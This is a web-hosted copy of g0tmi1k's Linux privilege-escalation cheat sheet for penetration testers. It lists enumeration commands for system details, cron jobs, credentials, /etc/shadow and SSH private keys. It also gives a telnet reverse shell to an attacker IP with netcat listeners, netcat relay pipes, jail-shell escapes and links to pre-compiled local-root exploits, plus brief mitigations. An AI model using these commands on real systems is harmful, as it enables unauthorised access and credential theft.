> For the complete documentation index, see [llms.txt](https://infosecsanyam261.gitbook.io/tryharder/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://infosecsanyam261.gitbook.io/tryharder/priv-escalation/linux-priv-escalation/gotmik-linux-privilege-escalation.md).

# g0tmi1k linux privilege escalation

https\://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

\
**Enumeration is the key.**

(Linux) privilege escalation is all about:

·        Collect - **Enumeration**, more enumeration and some more enumeration.

·        Process - Sort through data, **analyse** and prioritisation.

·        Search - Know what to search for and where to **find** the exploit code.

·        Adapt - **Customize** the exploit, so it fits. Not every exploit work for every system "out of the box".

·        Try - Get ready for (lots of) **trial and error**.

**Operating System**

**What's the distribution type? What version?**

| <p>1</p><p>2</p><p>3</p><p>4</p> | <p>cat /etc/issue</p><p>cat /etc/\*-release</p><p>  cat /etc/lsb-release      # Debian based</p><p>  cat /etc/redhat-release   # Redhat based</p> |
| -------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- |

**What's the kernel version? Is it 64-bit?**

\| <p>1</p><p>2</p><p>3</p><p>4</p><p>5</p><p>6</p> | <p>cat /proc/version</p><p>uname -a</p><p>uname -mrs</p><p>rpm -q kernel</p><p>dmesg | grep Linux</p><p>ls /boot | grep vmlinuz-</p> |
\| ------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------ |

**What can be learnt from the environmental variables?**

| <p>1</p><p>2</p><p>3</p><p>4</p><p>5</p><p>6</p><p>7</p> | <p>cat /etc/profile</p><p>cat /etc/bashrc</p><p>cat \~/.bash\_profile</p><p>cat \~/.bashrc</p><p>cat \~/.bash\_logout</p><p>env</p><p>set</p> |
| -------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------- |

**Is there a printer?**

| 1 | lpstat -a |
| - | --------- |

**Applications & Services**

**What services are running? Which service has which user privilege?**

| <p>1</p><p>2</p><p>3</p><p>4</p> | <p>ps aux</p><p>ps -ef</p><p>top</p><p>cat /etc/services</p> |
| -------------------------------- | ------------------------------------------------------------ |

**Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check!**

\| <p>1</p><p>2</p> | <p>ps aux | grep root</p><p>ps -ef | grep root</p> |
\| ---------------- | -------------------------------------------------- |

**What applications are installed? What version are they? Are they currently running?**

| <p>1</p><p>2</p><p>3</p><p>4</p><p>5</p><p>6</p> | <p>ls -alh /usr/bin/</p><p>ls -alh /sbin/</p><p>dpkg -l</p><p>rpm -qa</p><p>ls -alh /var/cache/apt/archivesO</p><p>ls -alh /var/cache/yum/</p> |
| ------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------- |

**Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?**

\| <p>1</p><p>2</p><p>3</p><p>4</p><p>5</p><p>6</p><p>7</p><p>8</p><p>9</p><p>10</p> | <p>cat /etc/syslog.conf</p><p>cat /etc/chttp.conf</p><p>cat /etc/lighttpd.conf</p><p>cat /etc/cups/cupsd.conf</p><p>cat /etc/inetd.conf</p><p>cat /etc/apache2/apache2.conf</p><p>cat /etc/my.conf</p><p>cat /etc/httpd/conf/httpd.conf</p><p>cat /opt/lampp/etc/httpd.conf</p><p>ls -aRl /etc/ | awk '$1 \~ /^.*r.*/</p> |
\| --------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |

**What jobs are scheduled?**

\| <p>1</p><p>2</p><p>3</p><p>4</p><p>5</p><p>6</p><p>7</p><p>8</p><p>9</p><p>10</p><p>11</p><p>12</p> | <p>crontab -l</p><p>ls -alh /var/spool/cron</p><p>ls -al /etc/ | grep cron</p><p>ls -al /etc/cron\*</p><p>cat /etc/cron\*</p><p>cat /etc/at.allow</p><p>cat /etc/at.deny</p><p>cat /etc/cron.allow</p><p>cat /etc/cron.deny</p><p>cat /etc/crontab</p><p>cat /etc/anacrontab</p><p>cat /var/spool/cron/crontabs/root</p> |
\| --------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

**Any plain text usernames and/or passwords?**

\| <p>grep -i user \[filename]</p><p>grep -i pass \[filename]</p><p>grep -C 5 "password" \[filename]</p><p>find . -name "\*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla</p> |
\| -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

**Communications & Networking**

**What NIC(s) does the system have? Is it connected to another network?**

| <p>1</p><p>2</p><p>3</p> | <p>/sbin/ifconfig -a</p><p>cat /etc/network/interfaces</p><p>cat /etc/sysconfig/network</p> |
| ------------------------ | ------------------------------------------------------------------------------------------- |

**What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?**

| <p>1</p><p>2</p><p>3</p><p>4</p><p>5</p><p>6</p> | <p>cat /etc/resolv.conf</p><p>cat /etc/sysconfig/network</p><p>cat /etc/networks</p><p>iptables -L</p><p>hostname</p><p>dnsdomainname</p> |
| ------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------- |

**What other users & hosts are communicating with the system?**

\| <p>1</p><p>2</p><p>3</p><p>4</p><p>5</p><p>6</p><p>7</p><p>8</p><p>9</p><p>10</p> | <p>lsof -i</p><p>lsof -i :80</p><p>grep 80 /etc/services</p><p>netstat -antup</p><p>netstat -antpx</p><p>netstat -tulpn</p><p>chkconfig --list</p><p>chkconfig --list | grep 3:on</p><p>last</p><p>w</p> |
\| --------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

**Whats cached? IP and/or MAC addresses**

| <p>1</p><p>2</p><p>3</p> | <p>arp -e</p><p>route</p><p>/sbin/route -nee</p> |
| ------------------------ | ------------------------------------------------ |

**Is packet sniffing possible? What can be seen? Listen to live traffic**

| 1 | tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21 |
| - | -------------------------------------------------------- |

Note: tcpdump tcp dst \[ip] \[port] and tcp dst \[ip] \[port]

**Have you got a shell? Can you interact with the system?**

\| <p>1</p><p>2</p><p>3</p> | <p>nc -lvp 4444    # Attacker. Input (Commands)</p><p>nc -lvp 4445    # Attacker. Ouput (Results)</p><p>telnet \[atackers ip] 44444 | /bin/sh | \[local ip] 44445    # On the targets system. Use the attackers IP!</p> |
\| ------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

Note: <http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/>

**Is port forwarding possible? Redirect and interact with traffic from another view**

Note: <http://www.boutell.com/rinetd/>

Note: [http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch](https://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch)

Note: <http://downloadcenter.mcafee.com/products/tools/foundstone/fpipe2_1.zip>

Note: FPipe.exe -l \[local port] -r \[remote port] -s \[local port] \[local IP]

| 1 | FPipe.exe -l 80 -r 80 -s 80 192.168.1.7 |
| - | --------------------------------------- |

Note: ssh -\[L/R] \[local port]:\[remote ip]:\[remote port] \[local user]@\[local ip]

| <p>1</p><p>2</p> | <p>ssh -L 8080:127.0.0.1:80 root\@192.168.1.7    # Local Port</p><p>ssh -R 8080:127.0.0.1:80 root\@192.168.1.7    # Remote Port</p> |
| ---------------- | ----------------------------------------------------------------------------------------------------------------------------------- |

Note: mknod backpipe p ; nc -l -p \[remote port] < backpipe | nc \[local IP] \[local port] >backpipe

\| <p>1</p><p>2</p><p>3</p> | <p>mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe    # Port Relay</p><p>mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Port 80 to 8080)</p><p>mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe    # Proxy monitor (Port 80 to 8080)</p> |
\| ------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

**Is tunnelling possible? Send commands locally, remotely**

| <p>1</p><p>2</p> | <p>ssh -D 127.0.0.1:9050 -N \[username]@\[ip]</p><p>proxychains ifconfig</p> |
| ---------------- | ---------------------------------------------------------------------------- |

**Confidential Information & Users**

**Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?**

\| <p>1</p><p>2</p><p>3</p><p>4</p><p>5</p><p>6</p><p>7</p><p>8</p><p>9</p> | <p>id</p><p>who</p><p>w</p><p>last</p><p>cat /etc/passwd | cut -d: -f1    # List of users</p><p>grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users</p><p>awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users</p><p>cat /etc/sudoers</p><p>sudo -l</p> |
\| ------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

**What sensitive files can be found?**

| <p>1</p><p>2</p><p>3</p><p>4</p> | <p>cat /etc/passwd</p><p>cat /etc/group</p><p>cat /etc/shadow</p><p>ls -alh /var/mail/</p> |
| -------------------------------- | ------------------------------------------------------------------------------------------ |

**Anything "interesting" in the home directorie(s)? If it's possible to access**

| <p>1</p><p>2</p> | <p>ls -ahlR /root/</p><p>ls -ahlR /home/</p> |
| ---------------- | -------------------------------------------- |

**Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords**

| <p>1</p><p>2</p><p>3</p> | <p>cat /var/apache2/config.inc</p><p>cat /var/lib/mysql/mysql/user.MYD</p><p>cat /root/anaconda-ks.cfg</p> |
| ------------------------ | ---------------------------------------------------------------------------------------------------------- |

**What has the user being doing? Is there any password in plain text? What have they been edting?**

| <p>1</p><p>2</p><p>3</p><p>4</p><p>5</p> | <p>cat \~/.bash\_history</p><p>cat \~/.nano\_history</p><p>cat \~/.atftp\_history</p><p>cat \~/.mysql\_history</p><p>cat \~/.php\_history</p> |
| ---------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------- |

**What user information can be found?**

| <p>1</p><p>2</p><p>3</p><p>4</p> | <p>cat \~/.bashrc</p><p>cat \~/.profile</p><p>cat /var/mail/root</p><p>cat /var/spool/mail/root</p> |
| -------------------------------- | --------------------------------------------------------------------------------------------------- |

**Can private-key information be found?**

| <p>1</p><p>2</p><p>3</p><p>4</p><p>5</p><p>6</p><p>7</p><p>8</p><p>9</p><p>10</p><p>11</p><p>12</p><p>13</p><p>14</p><p>15</p> | <p>cat \~/.ssh/authorized\_keys</p><p>cat \~/.ssh/identity.pub</p><p>cat \~/.ssh/identity</p><p>cat \~/.ssh/id\_rsa.pub</p><p>cat \~/.ssh/id\_rsa</p><p>cat \~/.ssh/id\_dsa.pub</p><p>cat \~/.ssh/id\_dsa</p><p>cat /etc/ssh/ssh\_config</p><p>cat /etc/ssh/sshd\_config</p><p>cat /etc/ssh/ssh\_host\_dsa\_key.pub</p><p>cat /etc/ssh/ssh\_host\_dsa\_key</p><p>cat /etc/ssh/ssh\_host\_rsa\_key.pub</p><p>cat /etc/ssh/ssh\_host\_rsa\_key</p><p>cat /etc/ssh/ssh\_host\_key.pub</p><p>cat /etc/ssh/ssh\_host\_key</p> |
| ------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |

**File Systems**

**Which configuration files can be written in /etc/? Able to reconfigure a service?**

\| <p>1</p><p>2</p><p>3</p><p>4</p><p>5</p><p>6</p><p>7</p> | <p>ls -aRl /etc/ | awk '$1 \~ /^.*w.*/' 2>/dev/null     # Anyone</p><p>ls -aRl /etc/ | awk '$1 \~ /^..w/' 2>/dev/null       # Owner</p><p>ls -aRl /etc/ | awk '$1 \~ /^.....w/' 2>/dev/null    # Group</p><p>ls -aRl /etc/ | awk '$1 \~ /w.$/' 2>/dev/null        # Other</p><p>find /etc/ -readable -type f 2>/dev/null               # Anyone</p><p>find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone</p> |
\| -------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

**What can be found in /var/ ?**

| <p>1</p><p>2</p><p>3</p><p>4</p><p>5</p><p>6</p><p>7</p> | <p>ls -alh /var/log</p><p>ls -alh /var/mail</p><p>ls -alh /var/spool</p><p>ls -alh /var/spool/lpd</p><p>ls -alh /var/lib/pgsql</p><p>ls -alh /var/lib/mysql</p><p>cat /var/lib/dhcp3/dhclient.leases</p> |
| -------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

**Any settings/files (hidden) on website? Any settings file with database information?**

| <p>1</p><p>2</p><p>3</p><p>4</p><p>5</p> | <p>ls -alhR /var/www/</p><p>ls -alhR /srv/www/htdocs/</p><p>ls -alhR /usr/local/www/apache22/data/</p><p>ls -alhR /opt/lampp/htdocs/</p><p>ls -alhR /var/www/html/</p> |
| ---------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

Is there anything in the log file(s) (Could help with "Local File Includes"!)

| <p>1</p><p>2</p><p>3</p><p>4</p><p>5</p><p>6</p><p>7</p><p>8</p><p>9</p><p>10</p><p>11</p><p>12</p><p>13</p><p>14</p><p>15</p><p>16</p><p>17</p><p>18</p><p>19</p><p>20</p><p>21</p><p>22</p><p>23</p><p>24</p><p>25</p><p>26</p><p>27</p><p>28</p><p>29</p><p>30</p><p>31</p><p>32</p><p>33</p><p>34</p><p>35</p><p>36</p><p>37</p><p>38</p><p>39</p><p>40</p> | <p>cat /etc/httpd/logs/access\_log</p><p>cat /etc/httpd/logs/access.log</p><p>cat /etc/httpd/logs/error\_log</p><p>cat /etc/httpd/logs/error.log</p><p>cat /var/log/apache2/access\_log</p><p>cat /var/log/apache2/access.log</p><p>cat /var/log/apache2/error\_log</p><p>cat /var/log/apache2/error.log</p><p>cat /var/log/apache/access\_log</p><p>cat /var/log/apache/access.log</p><p>cat /var/log/auth.log</p><p>cat /var/log/chttp.log</p><p>cat /var/log/cups/error\_log</p><p>cat /var/log/dpkg.log</p><p>cat /var/log/faillog</p><p>cat /var/log/httpd/access\_log</p><p>cat /var/log/httpd/access.log</p><p>cat /var/log/httpd/error\_log</p><p>cat /var/log/httpd/error.log</p><p>cat /var/log/lastlog</p><p>cat /var/log/lighttpd/access.log</p><p>cat /var/log/lighttpd/error.log</p><p>cat /var/log/lighttpd/lighttpd.access.log</p><p>cat /var/log/lighttpd/lighttpd.error.log</p><p>cat /var/log/messages</p><p>cat /var/log/secure</p><p>cat /var/log/syslog</p><p>cat /var/log/wtmp</p><p>cat /var/log/xferlog</p><p>cat /var/log/yum.log</p><p>cat /var/run/utmp</p><p>cat /var/webmin/miniserv.log</p><p>cat /var/www/logs/access\_log</p><p>cat /var/www/logs/access.log</p><p>ls -alh /var/lib/dhcp3/</p><p>ls -alh /var/log/postgresql/</p><p>ls -alh /var/log/proftpd/</p><p>ls -alh /var/log/samba/</p><p>Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp</p> |
| --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

Note: <http://www.thegeekstuff.com/2011/08/linux-var-log-files/>

**If commands are limited, you break out of the "jail" shell?**

| <p>1</p><p>2</p><p>3</p> | <p>python -c 'import pty;pty.spawn("/bin/bash")'</p><p>echo os.system('/bin/bash')</p><p>/bin/sh -i</p> |
| ------------------------ | ------------------------------------------------------------------------------------------------------- |

**How are file-systems mounted?**

| <p>1</p><p>2</p> | <p>mount</p><p>df -h</p> |
| ---------------- | ------------------------ |

**Are there any unmounted file-systems?**

| 1 | cat /etc/fstab |
| - | -------------- |

**What "Advanced Linux File Permissions" are used? Sticky bits, SUID & GUID**

| <p>1</p><p>2</p><p>3</p><p>4</p><p>5</p><p>6</p><p>7</p><p>8</p><p>9</p> | <p>find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.</p><p>find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.</p><p>find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.</p><p>find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID</p><p>for i in `locate -r "bin$"`; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other \*bin, for SGID or SUID (Quicker search)</p><p># find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)</p><p>find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} ; 2>/dev/null</p> |
| ------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

**Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm**

| <p>1</p><p>2</p><p>3</p><p>4</p><p>5</p><p>6</p><p>7</p> | <p>find / -writable -type d 2>/dev/null      # world-writeable folders</p><p>find / -perm -222 -type d 2>/dev/null     # world-writeable folders</p><p>find / -perm -o w -type d 2>/dev/null     # world-writeable folders</p><p>find / -perm -o x -type d 2>/dev/null     # world-executable folders</p><p>find / ( -perm -o w -perm -o x ) -type d 2>/dev/null   # world-writeable & executable folders</p> |
| -------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

**Any "problem" files? Word-writeable, "nobody" files**

| <p>1</p><p>2</p> | <p>find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print   # world-writeable files</p><p>find /dir -xdev ( -nouser -o -nogroup ) -print   # Noowner files</p> |
| ---------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

**Preparation & Finding Exploit Code**

**What development tools/languages are installed/supported?**

| <p>1</p><p>2</p><p>3</p><p>4</p> | <p>find / -name perl\*</p><p>find / -name python\*</p><p>find / -name gcc\*</p><p>find / -name cc</p> |
| -------------------------------- | ----------------------------------------------------------------------------------------------------- |

**How can files be uploaded?**

| <p>1</p><p>2</p><p>3</p><p>4</p><p>5</p> | <p>find / -name wget</p><p>find / -name nc\*</p><p>find / -name netcat\*</p><p>find / -name tftp\*</p><p>find / -name ftp</p> |
| ---------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------- |

**Finding exploit code**

[http://www.exploit-db.com](https://www.exploit-db.com/)

[http://1337day.com](http://1337day.com/)

[http://www.securiteam.com](http://www.securiteam.com/)

[http://www.securityfocus.com](http://www.securityfocus.com/)

[http://www.exploitsearch.net](http://www.exploitsearch.net/)

<http://metasploit.com/modules/>

[http://securityreason.com](http://securityreason.com/)

<http://seclists.org/fulldisclosure/>

[http://www.google.com](https://www.google.com/)

**Finding more information regarding the exploit**

[http://www.cvedetails.com](https://www.cvedetails.com/)

<http://packetstormsecurity.org/files/cve/\\[CVE>]

<http://cve.mitre.org/cgi-bin/cvename.cgi?name=\\[CVE>]

<http://www.vulnview.com/cve-details.php?cvename=\\[CVE>]

**(Quick) "Common" exploits. Warning. Pre-compiled binaries files. Use at your own risk**

[http://web.archive.org/web/20111118031158/http://tarantula.by.ru/localroot/](https://web.archive.org/web/20111118031158/http:/tarantula.by.ru/localroot/)

<http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/>

**Mitigations**

**Is any of the above information easy to find?**

Try doing it! Setup a cron job which automates script(s) and/or 3rd party products

**Is the system fully patched?**

Kernel, operating system, all applications, their plugins and web services

| <p>1</p><p>2</p> | <p>apt-get update && apt-get upgrade</p><p>yum update</p> |
| ---------------- | --------------------------------------------------------- |

**Are services running with the minimum level of privileges required?**

For example, do you need to run MySQL as root?

**Scripts Can any of this be automated?!**

<http://pentestmonkey.net/tools/unix-privesc-check/>

<http://labs.portcullis.co.uk/application/enum4linux/>

[http://bastille-linux.sourceforge.net](http://bastille-linux.sourceforge.net/)
